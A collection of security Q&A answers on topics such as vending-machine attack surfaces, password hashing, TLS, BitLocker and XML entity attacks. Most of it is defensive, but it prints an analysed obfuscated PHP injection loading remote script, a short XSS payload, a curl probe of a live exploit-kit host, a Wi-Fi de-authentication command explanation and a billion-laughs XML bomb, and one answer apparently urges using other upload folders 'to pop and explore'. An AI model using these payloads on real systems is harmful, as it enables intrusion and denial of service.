This is a likely source of ownage. It's a bi-directional communications port that allows us to send and receive data that will be directly handled by code on the machine itself, rather than a separate module. A lot of RFID data contains strings and integers, so overflows are likely. We could also take a look at capturing the data from an employee override swipe, which could open up new possibilities to steal stuff from the machine. In order to actually fuzz the device, we'd need to have the vending machine in our possession. This time, I don't happen to have one to hand. The physical possession requirement with such a large bit of kit does give a barrier to entry, but it's possible to get them second hand. A discrete RFID sniffer should be able to record data from live transactions, though, which could be used to replay communications.
Ethernet
When I saw the ethernet cable, I giggled like a script kiddy finding an SQL injection hole. It's trivial to unplug one of these cables and insert a pass-through device to record and alter traffic going to and from the device. You could do this with an embedded device like a Wifi Pineapple. It's low cost and potentially high-yield, because you can monitor and fuzz live devices from a distance. I've got no idea what data is going down those lines, but it'd be fun to find out.
JTAG
If you can get the cover off, the JTAG port is the pinnacle of pwnage. The device is probably an embedded Linux system running on an ARM chip, so getting access to the JTAG gives you full control over the processor and RAM. You'd be able to pull out a memory image (probably containing firmware) and analyse it, and later go back and make changes. If the bad guys can get at your JTAG, you're owned.

So, how can you stop this from being attacked? For a large part you can't, but mitigation is an important thing. Here are a few tips:

Remember that you're dealing with money, and take security precautions as such. Tip sensors on food vending machines aren't useful if a bad guy can turn them off with a magnet, or change the software to avoid the alarm.
Choose card machine vendors that have a long track history of no security issues, and get some insurance against any failings in that department.
Lock communications ports down, and have a way to lock any ethernet cables into the device so that they can't be easily replaced.
Use transport security (e.g. SSL) if you're talking to external devices via TCP/IP.
If they're network-connected devices, segment them from your internal network. Plugging a device into an ethernet socket is so damn easy.
Have your software reviewed by a security consultant - especially if you've got RFID or NFC involved.
Don't use tubular pin locks that can be defeated with a damn pen. Use a proper lock.
Stay paranoid.


PCI - Backend Applications and SQL Injection

You have to consider insider threats, if these applications have sql injection vulnerabilities and access to sensitive data you could be opening yourself to unauthorised viewing and modification of your data by malicious internal actors.  The rule is is never trust input, even if it does come from someone that works for you.

Secondly, think defence in depth. What if an attacker breaches your perimiter and finds one of these tools. This could be an additional attack vector.

I would pen test these applications for sqli vulnerabilities and fix issues you discover rather than a blanket rewrite, that would be more efficient.


What is the current status of trust management?

Biggest problem in trust management is that it involves people who don't act like machines.

Public-Key Infrastructures can be seen as a big exercise in trust management. The two main deployed solutions, X.509 and OpenPGP, implement two strategies which can be described as "let's add all the needed features that application won't bother to implement properly, or at all" and "let's do nothing and pray for the best", respectively. By right they should both fail in horrible (but spectacular) ways. In practice, there are not so many issues because people are still basically honest.

But really, security does not make dollars; you will never be able to say that stricter controls resulted in 10% sales increase. Therefore, trust management will be underbudgeted, badly done, and rely on luck. That is the biggest unsolved issue: how could we make trust management, and security in general, be recognized as important enough to, generally, warrant a bit of care ?

(The one known way to make trust management safe is to make it known that offenders will be shot. This is what they do in war-time armies.)


My site was hacked and has injected code on index.php and 404.php

There's a lot of obfuscation there, but these two lines stand out:

$wordpress_report = strrev ('=ecruos&wordpress?/moc.yadot-syasse//:ptth');
$not_found_report = strrev ('=drowyek&');

It looks as though they're trying to pull a script in from that site (essays-today). Presumably, that's a compromised domain they've found and exploited, and they're including that code into your site in order to propagate.

echo '<nofollow><noindex><script src="'.$wordpress_report.$http_report.$not_found_report.$not_found_page.'"></script></noindex></nofollow>';

This line is taking the formed string in PHP, and printing it out as HTML. Note how it's doing that: the variables are all being entered into the tags inside <script>, so it's loading that compound string as a location for some Javascript. It's going to then run that external Javascript on your site.

Have you recently installed any new plugins to Wordpress? There are several with known security issues. It might be worth installing a 404 checking plugin. Any requests that your site receives that don't link anywhere will get displayed, so any requests to unsecure plugins will be displayed, along with the location the requests came from. It may not triage the situation, but it will be a good indication as to how and where you're being attacked from.


Does a (kernel) exploit always need to use system calls?

A kernel exploit (or anything at all) not using syscalls will be pretty useless.
Imagine writing a module without read, write, fork, no socket functions, no memory allocation, no IO functions...
Kernel malware needs the syscalls to intercept file read and write, open sockets, create files, read and write process memory, and so on. Anything that does not read or write anything, does not do any disk or network IO, does not allocate memory and does not even get the time of day isn't really doing anything at all, let alone do something malicious.


Brutelogic wrote a brilliant article about this at http://brutelogic.com.br/blog/shortest-reflected-xss-possible/
some time ago.

One of the ideas from the article (paraphrased):

.. It’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

We can use this to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

# <script src=“//14.rs”></script>


Can cloud based password managing services be trusted?

You'll never be able to know. You can however, exercise reasoning and logical judgement based on

The company's ToS.
The company's track record.
Your trust of the company providing that service.
The importance/value of the data handled by that service.

Regarding password management; call me a little paranoid, but I really never trust any cloud service with my passwords. I like using KeePass with Dropbox, because I know that KeePass is open source (less likelihood of monkey business there) and my trust in Dropbox is irrelevant (they only see an encrypted file).


Is it unsafe to publish your nginx configs?

IMO, there should be nothing in your nginx config that is secret. It should not directly contain credentials. There should not be any secret paths or secret headers or secret query params that bypass authentication. The filesystem path to your TLS private key is not useful to an attacker. The filesystem path of a basic auth password file is not useful to an attacker. Rewrites and redirects and log format should not be useful to an attacker.
It might be that your config has some kind of bug that allows an attacker to attack your app (e.g. send http request headers that the app thinks are only set by nginx), and no attacker knew about it, but once they see your config they'll know and be able to attack your site/app. The bug was there already, but nobody knew. This is like open sourcing the app's source code - maybe someone will find bugs now that it is easier to inspect.
So, it should be safe to publish your nginx config, but only if it was developed while knowing that it will be published, or reviewed before being published.


Hashing versus encryption

The biggest different between bcrypt and blowfish is that blowfish is a symmetric encryption algorithm and bcrypt is a hashing algorithm. (It is a special kind of hashing algorithm, but we will get to that later.)

Encryption (what Blowfish does)

A symmetric encryption algorithm takes a secret key and some plaintext (the term "message" is regularly used and the variable m is typically used to refer to it) and outputs ciphertext, c. The idea is that the ciphertext can only be transformed back into the original message with same[^same] secret key that was used when encrypting.

[^same]: I am giving approximately true answers here to focus on the central ideas and concepts. I am hoping that those who recognize where my answers aren't precisely true will cut me some slack for expository purposes.

So Alice might encrypt the message "Attack at dawn" with the key 13 (this is not blowfish, but it is symmetric encryption) and produce the ciphertext "Nggnpx ng qnja". She can send that ciphertext to Bob, and if Bob knows that the key is 13, he can transform the cipher text back into the original messages. Sometimes Alice doesn't want to send a message to another person, but she wants to store it for herself to read at a later time. We can think of those cases as Alice sending a message to future Alice.

With Blowfish (instead of the encryption that I used in my example), it is effectively impossible for anyone who doesn't have the key to learn anything about the original message (other than its length and existence) from the ciphertext. Just an aside, AES is a preferable symmetric encryption algorithm over Blowfish, but I will continue to use Blowfish in my descriptions as that is what was asked about.

Hashing

A cryptographic hash algorithm (bcrypt is special kind, with some extras, but I will start with a simpler case) does not take a key and is not practically reversible. So a cryptographic hash algorithm like SHA256 would take a message (let's say a password) like "JaguarsRule!" and transform it into a hash.

$ echo -n 'JaguarsRule!' | shasum -a256
13f26e5a60e402d895c5ce1d9492d080563c5079a8b5f52a25953fd24a2cb1da

One of the several properties of a cryptographic hash is that you can't feasibly compute "JaguarsRule!" from 13f26e5a60e402d895c5ce1d9492d080563c5079a8b5f52a25953fd24a2cb1da. There is no key in this case.

So a straight forward hashing mechanism like this might seem like a good way to check passwords on a server. Suppose you are running some web service that has people log on. You have a user, let's say with username jason who sets up his account with the password JaguarsRule!. Because you don't want anyone who can read what is on your server to learn Jason's password, you don't store the password itself. Instead you store its hash.

When jason (or someone pretending to be jason) logs in your server takes the password that gets entered and performs the hashing operation on it and compare that hash that is stored. If the hashes match then the system knows that the correct password was entered.

Salts and slow cooking

The scheme described above, using a general cryptographic hash like SHA256, would work great except for one thing: People pick guessable passwords. If people were as likely to use passwords like wZFoO_SKrgEw as they are to JaguarsRule! then we wouldn't need specialized hashing functions like bcrypt. But people, being human, are not going to pick passwords randomly and uniformly over a sufficiently large space. Instead, they are far more likely to pick some possible passwords over others.

Salt

Consider another user of your system, pillboy. Pill Boy is also a fan of the Jacksonville Jaguars and happens to have also picked JaguarsRule! as his password. Using (unsalted) hashing, the hash for Pill Boy's password will be the same as the hash for Jason's password. An attacker only needs to compare hashes to see that those two users have the same password.

Furthermore, if an attacker discovers one way or another that Jason's password is JaguarsRule!` then she immediately knows Pill Boy's password. Furthermore, she might create a big list of hashes for the most common passwords.

The solution to this is to salt the password with something unique before hashing it. So when first creating a the hash of Jason's password (when Jason first signs up and creates the password), you'd add some random stuff to it. Suppose that at this time your system creates the salt 9cb3779f69e271c1. It then sticks that in front of the password before hashing, so it is really hashing something like 9cb3779f69e271c1JaguarsRule! (This is not how the salt actually gets added, but this is close enough to explain what salt is for.). The hash of 9cb3779f69e271c1JaguarsRule! will be completely different than the hash of JaguarsRule!.

The system will need to know what the salt was when it comes time to verify a password. So it will store the salt and the hash along with the Jason's username. When Pill Boy creates his account, it will be set up with a different randomly generated salt, and so his salt and password combination will produce a different hash.

So what you store on your server might look like this

[
    {
        "algorithm": "sha256",
        "username": "jason",
        "salt": "9cb3779f69e271c1",
        "hash": "37a932267ed055facf03cc5d09ca90f927a1eed47a8cd4856e57cd67434426be"
    },
    {
        "algorithm": "sha256",
        "username": "pillboy",
        "salt": "0a19471dab710025",
        "hash": "4be637a8c85455dce0cdc1c7670f062764100276b6ed64141c06fbef4578f185"
    },

]

By having different salts for these users, we can't see that they have the same password, and the attacker won't be able to compare the hashes to a list that she's precomputed of hashing of common passwords.

So bcrypt, because it is designed for password hashing, takes a salt.

Taking it slow

Salting is absolutely essential, but it still doesn't stop an attacker who gets hold of what is stored on the server from automated guessing. She can take the salt and combine that with common passwords and compute hashes until she finds a match. She might be able to perform tens or hundreds of millions of password guesses per second.

One of the reasons that she can compute some many guesses so quickly is that cryptographic hash algorithms like sha256 are designed to be fast and efficient while still meeting their security properties. So things like bcrypt do are "slow hashing". The idea is so that getting from some message (salt and password) to a hash might take so much computation that a typical computer will take a quarter of a second to perform the hash.

The user won't notice a quarter of a second delay, but if the attacker is using the same kind of computer, then she ends up being reduced to making four guesses per second instead of 10 million. (In practice, she will have specially configured computing equipment, but slowing her down from millions of guesses per second to tens of thousands of guesses per second is a good thing.)

bcrypt is one of several "slow hashes". Others are PBBKDF2, scrypt, and Argon2. Those last two not only require a lot of computation to create the hash, but also require a lot of memory.

Bcrypt is great, but ...

Salting and slow hashing is something that every password hashing system should do. But it also yields diminishing returns. There is just so much that slow hashing can do for the defender, and so we still need to (as long as passwords exist) get people to use harder to guess ones. I've written more about that in Bcrypt is great, but ...

NB: Thank you https://security.stackexchange.com/users/6253/schroeder for correctly deleting my previous answer in which I took "like I'm 5" literally. And my apologies to the original poster for having been snarky instead of helpful.


Why is security generally overlooked in application code until it's too late?

It's due to the fact that application security is an economic externality (https://en.wikipedia.org/wiki/Externality);  The party who is suffering from the lack of application security is not the one who makes decisions about the security.  It's the same economic problem as pollution.

Let's make up an example.  I write server software for SOHO routers.  Multiple router manufacturers use my software, and end users by the routers from those manufacturers.   Spending the time/money to implement a secure SDLC means that my prices will go up.  Since the router manufacturers are not impacted by any security flaws (the end users are, in this case,) they have no incentive to pay a higher price.  As such, I have no incentive to spend extra money to secure my product.

Edit:  To answer your question about externalities, the answer is regulation.  I'm not sure if it needs to come from the industry level or the government level, but the only answer is regulation.


Can Windows BitLocker encryption be broken by Live Boot?

First off, you should go type "how bitlocker works" into google and read a few articles. You will probably learn the answer to your question (and a bunch more interesting things besides!).

If you want a quick answer, I found an article by Microsoft that says:

  During the startup process, the TPM releases the key that unlocks the encrypted partition only after comparing a hash of important operating system configuration values with a snapshot taken earlier. This verifies the integrity of the Windows startup process. The key is not released if the TPM detects that your Windows installation has been tampered with.

There are two important points here:

The keys to decrypt your hard drive are stored in the TPM chip on your motherboard, so you would need to live-boot on the same motherboard, and your live-boot OS would need to convince the TPM to release the keys.
It's not 100% clear from the above but it seems like the TPM checks RAM during startup to make sure that the OS being booting is the same one that registered the encryption keys in the first place.

So it would probably be hard to "fool" the TPM into releasing the keys to your live-boot Linux.

That said, Wikipedia has details on a successful attack: https://en.wikipedia.org/wiki/BitLocker#Security_Concerns

  In February 2008, a group of security researchers published details of a so-called "cold boot attack" that allows full disk encryption systems such as BitLocker to be compromised by booting the machine off removable media, such as a USB drive, into another operating system, then dumping the contents of pre-boot memory.[34]

So it seems that it's not as simple as just booting into Linux and reading the drive, but if an expert hacker has access to your computer while its running and logged into the decrypted drive, then it's possible to reboot into linux quickly enough that RAM still has the old data on it pluck the decryption key directly out of memory, this bypassing the TPM entirely. For more info on this attack, see: wikipedia/Cold_boot_attack.

As @AndréBorie points out in comments, if you're willing to do some electrical engineering and sniff the connection between the TPM and the rest of the motherboard, then you can boot the system normally and read the decryption key off the wire.

I guess the old adage proves right once again; Ten Immutable Laws Of Security:

  Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.


SSL digital certificate process - high level

A: Authentication only. You can still do "null" encryption afterwards, if you like. But if you do non-null encryption, then you'll have an idea of who with you're doing that. That's the authentication part. -- There used to be a time when SGC, Server-Gated-Cryptography, was a thing. An extra bit in the certificate would either allow or disallow any decent encryption stronger than 40 bits "export" size. Nowadays this no longer exists and certificates have NO say in the strength or sort of encryption that happens.

two things will be send to the client when the client access the browser

Nearly. The server is required to send its own cert and the chain of signing certificates. All the way up to a root CA. (Sending the root CA cert itself is optional, and you're allowed to leave it out.)

So where do i obtain Verisign public key ?

On their website. But the actual idea is that you don't need to do this.
The idea is that any client software that you use already includes "trustworthy" Certification Authorities certificates. Microsoft, Mozilla, Apple, Java all maintain their own "certificate trust store"s.

Sort of.
The signature is verified (not "decrypted") and you use the public key from inside the certificate.

Close enough.

Further reading:

Long, canonical go-to entry here on SecSE: 2012-09-28, How does SSL/TLS work?
Nice short introduction: Jeff Moser, 2009-06-10, The First Few Milliseconds of an HTTPS Connection
Great video and book: Ilya Grigorik, https://IsTLSfastYet.com/


How to secure an OpenSSH server on Windows Subsystem for Linux (WSL)?

Preventing brute force attacks on a SSH server is quite simple.
You just have to enable Public key authentication, then disable login / password authentication. (proceed in this order)

Before following a setup guide, i recommend you to study Public key authentication mechanism, then asymmetric cryptography .

Setting up a technology you know nothing about might lead to chaos and misconfiguration, especially in the authentication field.

There is tons of setup guide on the internet, try the following keywords on google:

wsl openssh server public key auth


It doesn't work because you chose the wrong exploit.

Looking at the comments of the KingScada - kxClientDownload.ocx ActiveX Remote Code Execution exploit (here), we can see that it

  abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.

If the target PC doesn't use WellingTech KingScada, which is a particular software deployed in industrial automation systems, the exploit won't work. This is the reason why autopwn2 blocks when the target uses Internet Explorer.

Even if that software was installed in the Windows XP machine, the exploit wouldn't work, because it is written to target Internet Explorer, rather than Firefox, as we can see from the following line of code:

  :ua_name     => /MSIE|KXCLIE/i

where ua_name describes the User-Agent string, and MSIE is the acronym for Microsoft Internet Explorer.

As a general rule, before launching exploits, you should always understand if it targets a particular operating system or browser, if it requires some plug-in (like Flash) or if it relies on the vulnerabilities of a particular software, as in this case.


Spam link returns empty redirect to google.com - am I missing something?

My first guess was the site was probably using your User Agent string to identify if you are vulnerable or not. As you are using curl and not changing the UserAgent, the exploit kit would redirect you to a harmless page.

I used curl with an IE11 UserAgent string, and got the same redirect. Probably my IP is not on the list of desired ones.

Next guess: IP address.

The IP address is usually matched against a list of desired targets, usually tied to a country. It is usually meant to keep the exploit kit secret and only expose it to the interesting targets, avoiding it to be readily flagged by security companies.

So I tried again using an UK proxy:

http_proxy=88.211.x.x:8080 curl -A 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' -v 'http://103.208.86.131/'
*   Trying 88.211.x.x...
* Connected to 88.211.x.x (88.211.x.x) port 8080 (#0)
> GET http://103.208.86.131/ HTTP/1.1
> Host: 103.208.86.131
> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 302 Found
< Date: Thu, 13 Sep 2018 18:48:47 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.25
< Location: index2.php?&sessionid=08bcaee2029a8a766175c5c8cebc8bff&securessl=true
< Content-Length: 0
< Content-Type: text/html
<
* Connection #0 to host 88.211.x.x left intact

And it connected, redirected me to another page.


Is scanning a site directory considered illegal penetration testing?

If you don't have permission to perform security testing against a target, don't do it.

In the US, you are definitely at risk of falling foul of the The Computer Fraud and Abuse Act 1986, 1994, 1996 and possibly other acts. It's easy enough to set up a test target of your own, ask a friend for permission to test their site, or use a service such as Webgoat or Gruyere.

Essentially, if you are seen to be someone who knows what you are doing, then even typing in a single-quote to a web form has been enough to be arrested and charged over in the past.

No permission, no pen testing. It's simple. Why risk it.


Simply truncating a hash is the common and accepted way to shorten it. You don't need to do anything fancy.

There are plenty of questions here, and on crypto.stackexchange about whether doing this reduces the strength of the hash (see the list of related questions at the bottom). The answer is that No, truncating a hash does not reduce its strength (apart from the obvious that shorter hashes have more collisions).

According to @Reid's answer in [2] and @ThomasPornin's answer in [3], the idea of truncating hashes is fully supported by NIST, in fact SHA-224 is just SHA-256 truncated, SHA-384 is just SHA-512 truncated, etc.

RELATED QUESTIONS

[1] truncated hash for message authentication?

[2] Is truncating a SHA512 hash to the first 160 bits as secure as using SHA1?

[3] Should I use the first or last bits from a SHA-256 hash?


I have the same reading as you about the fact that only the axis2-jaxws is concerned.
However, not using this module in your project could not be sufficient if you are using other parts of jackson whose make call to this vulnerable axis2-jaxws.
In order to be sure, you should inspect every part of jackson you are using, check their dependencies (if axis2-jaxws is in the list it's not good), check the dependencies of their dependencies (if axis2-jaxws is in the list it's not good), and so one.
At least, in your specific case, we could say that, as it is discouraged to use multiple version of the same software in a project, it is strongly recommended that you simply use the most recent one.


Unable to execute PHP, throws 500 error. Able to upload and execute all others

If the server is refusing to execute a php script on the uploads folder but runs php scripts elsewhere, it sounds like the server is working as it should. You'll need to use one of those other directories to pop and explore.


As schroeder eludes to in the original comment, the only real protection for most of us is to use wired solutions. There are a few options that are expensive or system intensive, and therefore are beyond the means of many users.

Let's dissect why 'the wired solution' is the answer in most cases.

The physics of radio emissions means that the only way to protect from the data being received in whatever format (encrypted or plaintext) is to physically block transmission. Read these for some background on how that problem has been addressed in some areas:

Faraday Cage

TEMPEST specification

Now, consider what the de-authentication attack you describe is doing...

The -0 means "send a de-authentication frame", and the following 0 means "send this type of frame continuously".
The -a [MAC] means "send these frames so they appear to come from the Access Point identified as [MAC]"
The lack of a -c [MAC] parameter means aireplay-ng will send the de-authentication frame to every station connected to the access point. If you had specified a single MAC, you would just be DOSing that station off of the wifi network.

That's fine and grand, and works as expected ... as you have seen. It basically sends a command to each connected station saying "disconnect now" and they obey, because the protocol is written that way.

This problem comes from, if I understand the details correctly, the inability of a station to validate the de-authentication frame. This is because the original standards did not require a mechanism for this. Any radio capable of broadcasting in the right frequency can send the data, and the original protocol did not require the stations to validate the source of the signal...it may not have even existed in the protocol, I am not certain.

As defalt mentions, some higher end SOHO and enterprise grade wifi solutions have Wireless-IPS capabilities. These are built upon systems that analyze traffic patterns and signatures, and make decisions about which signals to act upon.

More recent standards have improved on these issues; I am unaware of how widespread the adoption of the updated standards/protocols has gone, but from recent testing I can tell you a lot of my equipment is still vulnerable to this.


The purpose of password hashing is that not even you know the users password. Creating a backup of the cleartext password defeats the whole purpose, because then you have a copy which can get stolen.

Password hashing and telling the user their password are mutually exclusive. When a system uses password hashing, resetting the password to something else is the only possible way to recover a user account when the user forgot their password.


Tor traffic seems to be exiting from different Tor exit nodes - is that expected?

It is kind of by design that exit nodes change. If all your traffic exited through the same node, then it would be easier to track you (not knowing who you are in reality, but noticing that it is the same "you").


Actually it is closer to 4 or 5 times, because MD5 is somewhat more expensive than MD4. It won't make it strong, though; the "benefit" of switching from NTLM to NTLMv2 is canceled by waiting one year and then buying a bigger GPU.

Windows systems stick to NTLM variants because of backward compatibility, but they are rather poor password hashing methods. See this answer on how passwords ought to be hashed.


Read only Data changed using developer tools

But I would expect that server should ignore if any changes are sent for non editable fields

In no way should the server-side blindly trust that the client input. This includes not trusting that the client will not modify read-only fields.

Instead data which should not be modified by the user might simply not be included at all when sending the form, i.e. the server can read the users phone number from database. Alternatively read-only data could be protected so that modification by the client will be detected. This can be done for example with a signature or HMAC over all read-only fields which is generated by the server and can be verified by the server.


Should you label networking equipment? is this a security risk?

The usual is to label but not with the company or host names. Instead:

For police identification, use tagging with an "If found contact xxx phone number" message. Various physical security service companies can provide these as part of their support contract.
For asset management, use a naming convention which allows you to identify cables, devices and other items, but that doesn't provide an attacker with obvious clues to identify key devices or networks, for example "HO2FFIN4" rather than Head Office 2nd Floor Finance Team Internal Network 4


Do vulnerability reports often get disregarded for lack of information?

A report to be usable needs to be reproducible - example payloads entry points tools used etc. A bug report means nothing if the reporter used a custom tool and payload that the security team and doesn't provide detailed steps and payloads.

Security teams also view applications differently than say a developer. To me the facebook issue is not a huge impact compared to a cmd injection or sql injection bug. Maybe they didn't triage this correctly and look at the potential impact - spammers leveraging this bug to post of everyoness page which in turn could link off to malicious payloads / sites


Is it okay to normalize unicode passwords with NFC/NFD?

If you treat 2 and ² as the same character, you're essentially removing one character from the character set. That isn't really so bad if it increases usability, especially if that encourages longer passwords.

Say you take a 8-character password, with a drawn randomly from a set of 2000 characters. That gives log₂(2000⁸) ≈ 88 bits of entropy.  If you had a 9-character password, drawn from 1000 characters (half as many!), that's log₂(1000⁹) ≈ 90 bits of entropy. In fact:

+-----+---------------------------+
|     |    character set size     |
| len |  500 | 1000 | 2000 | 4000 |
|-----+------+------+------+------|
| 6   |  54  |  60  |  66  |  72  |
| 7   |  63  |  70  |  77  |  84  |
| 8   |  72  |  80  |  88  |  96  |
| 9   |  81  |  90  |  99  |  108 |
| 10  |  90  |  100 |  110 |  120 |
| 11  |  99  |  110 |  121 |  132 |
+---------------------------------+

As you can see, in the normal range of password lengths and Unicode character set sizes, the exact size of the character set isn't that important.


TPM with the three main groups of functions

the TPM guarantees that malicious software cannot access the keys at all. Even the owner of the keys cannot give the private keys away to phishing or pharming attacks, as the keys are never visible outside the chip unencrypted.

The TPM never allows these private keys to be exported. The keys are said to be bound to the TPM. This means that the only way to sign something with one of those keys is to use the computer to send a request to the TPM. An attacker who wants to make use of those keys has to access the computer actively. They can't make a copy of the key and use it offline, even with the cooperation of the legitimate user (who could have been tricked).

Preventing passive attacks means that the attacker needs to obtain and keep a foothold on the computer, which gives more chances that they'll be detected. It also means that if the administrator find and closes the attacker's backdoor, then the attacker loses access to the keys. They can still use the signatures they've already generated but not make new ones new data. (It would be best to repudiate the keys nonetheless, of course.)

  Once booted, data (such as private keys) can be “sealed” under a PCR. The sealed data can be unsealed only if the PCR has the same value as at the time of sealing.

Sealing data means to encrypt it (and possibly authenticate it) with a particular key. If you have some sealed data, the only way to recover the data is to obtain the key that was used to seal it. The keys that are discussed from this paragraph are derived from a key that is bound to the TPM and from the PCR values, and not stored anywhere¹. The only way to find a derived key is to use the same key derivation algorithm with the same inputs. Since one of the inputs is a TPM-bound secret, it's impossible to derive the same keys outside the TPM. Since another input is the PCR values, and the TPM is only willing to perform the key derivation using the current contents of the PCR, it's impossible to derive the same keys unless the platform is in the same state (as defined by the PCR values).

  The attestation functions keep a list of all the software measurements committed to the PCRs, and can then sign them with a private key known only by the TPM. Thus, a trusted client can prove to a third party that its software has or has not been compromised.

The PCRs contain software measurements, which basically means a hash of the code images that run on the computer (the BIOS, the bootloader, the OS kernel, etc.). If the PCRs have a given value, this proves that the computer is running a particular code image (assuming that there are no bugs in the software or the hardware that could have caused the PCRs to be inaccurate or incomplete). The TPM can generate an attestation, which is a signed message containing the PCR values and additional data. The signing key is bound to the TPM. Given an attestation with a valid signature, this guarantees that the signature was made on the computer with the TPM that possesses the private key, at a time when the PCR had those particular values.

¹  Unless it's been exported for backup. Unlike signing keys, encryption keys are often not actually device-bound, because there has to be a way to recover the data if the device is damaged.


Why AES output has more size than my plaintext?

AES as it stands a block cipher with 16-byte block size and 16, 24, and 32-byte key sizes.
To encrypt even one bit, you need additional data. On the simple thaught, one can consider filling the rest with 0, then during decryption, there will be ambiguity. That is after the decryption, that data is 1 or 10 or 100 ... if the encrypted bit was 1  and similarly for the case of bit 0. Therefore we don't want ambiguity. There are solutions for this and this is called padding.

Append 1 followed by 0's to fill the block. This is a bit padding and there is a byte version that is a pad with 8 then fill with 0. If the block was full, you need an additional block for padding to remove the ambiguity, again, since what if the last block ends with 1 ( or 8 in the byte case).

PKCS#7 padding; this is a byte padding and common with CBC mode, let x be the remaining byte, then fill the rest with x as byte encoded. For example, if two bytes needed to fill then pad two times 0x02. This also has a special case, that what if the last block is full, the create a new block and fill with 0x1F 16-times

Now, you have said, you had 17 bytes then with AES this requires 2 blocks and that makes 32 bytes. It is highly probable that the library that you are using seamlessly handling the padding for you during the encryption and decryption.
Keep in mind that depending on the library this can be more; for example, the 16-byte IV/nonce of the CBC or CTR can be automatically prepended to the ciphertext and in your case, this will be 48 bytes for ECB, CBC.
If you used the CTR mode then you will have 33 bytes with prepended IV since CTR doesn't need padding.
And if you are using authenticated encryption like AES-GCM (internally uses the CTR) then the authentication tag can be automatically appended to ciphertext. The GCM's default tag size is 16-byte, this will make 49-byte if you are used such a library.

I hope you don't mix with Rijndael != AES. Rijndael can have 128, 160, 192, 218, and 256 block and key sizes, NIST selected just 3 from the Rijndael family, with fixed 128-bit block size and 128, 192, and 256-bit key sizes.


Is it there any effective way to prevent shodan to access my webcams

The same exact rules apply to webcams as in the thread you referenced.  If you put your webcam on an obscure port (not just 8080 or a common variant) then Shodan will not find it while crawling.  If you keep your webcam protected from anonymous access (set unique user/pass settings for all accounts on the cam) then outsiders will not be able to see it even if they do come across its presence in Shodan.  Also, keep your device firmware up to date in order to prevent possible vulnerabilities from exposing it.

Really, these protections are nothing that you shouldn't be doing already. Shodan in one sense is barebones audit tool; if your gear shows up there you are REALLY doing it wrong. Webcams show up on Shodan for one of two reasons: the owner/operator doesn't want them to be private at all, i.e. traffic cams or public park weather cams, or the owner/operator is really not following ANY security guidelines and leaving their cam both in plain sight (on normal ports) and wide open (default credentials or no credentials at all).


Found my iPhone 6 somewhat open (possibly right after airport security), what (if anything) might have been done to it?

I thought about deleting the question, but leaving an answer in this case might serve as a good example. In a comment above it was pointed out that a failing iPhone battery can sometimes swell and cause problems like this.

This is in fact the case that my battery is failing. I never thought to connect an electrical phenomenon with an opened phone, but batteries can be clever this way.

So by far the simplest explanation is that my known-to-be-failing battery swelled and popped the display out, and the timing is pure coincidence.

The level heads at stackexchange have once-again prevailed.

Here's what the battery looks like after I had it replaced:


How do I ensure secure communication and inter-process authentication in a multi-server application

A practical and secure approach is to use SSL with client certificates, which is probably similar to your existing approach.

One way of doing this is that every server has a private key and a self-signed certificate, and also the certificate of every server it needs to talk to. So when an application server connects to a data server, both ends present their certificate, which the other ends checks against their copy.

This is good for a handful of servers. If you have more than that you need to create your own internal certificate authority. Each server then has a private key, a certificate signed by your internal CA, and the certificate for your internal CA itself.

In this model, authentication between servers does have a moderate server load, but you mitigate this by keeping the SSL connections open for a long time, so authentication is only done occasionally.


What are some examples of injection attacks into databases that abuse common programs besides SQL?

XML injection is a somewhat common vulnerability (though it's becomming less so as JSON and YAML are starting to supplant XML as the language of choice for data interchange), and has historically allowed for some really nasty attacks.

The reason for this is pretty simple, XML is a pain in the arse to parse correctly (it's still pretty common to find at least buffer overrun bugs in new XML parsers), and even if you do, the grammar itself allows for some pretty crazy attacks, many of which revolve around handling of entity references (a somewhat questionable feature XML inherited from SGML).

The general concept behind an XML entity is pretty simple, it provides a way for you to associate a character, sequence of characters, or external resource with a a short reference.  HTML uses the same concept to provide escape codes for characters that it uses as part of it's own syntax (and ones not in the encoding of the document itself).

The two most well known attacks involving XML entities are 'billion laughs' attacks, and XXE.

The 'billion laughs' attack is a general type of attack that takes a very small input, and exploits parsing behavior to produce a monstrously large output.  They aren't exactly unique to XML (they work with anything that lets you define recursively expanded data structures).  In XML, this can be done by taking advantage of nested entity definitions (that is, entities can contain references to other entities, and these references get recursively expanded).  Wikipedia provides the following nice example on their page about this class of attack:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

That 881 bytes of XML expands to just over three billion bytes when parsed (roughly 3.5 million times larger), enough to force swapping on a system with less than about 4GB of RAM.

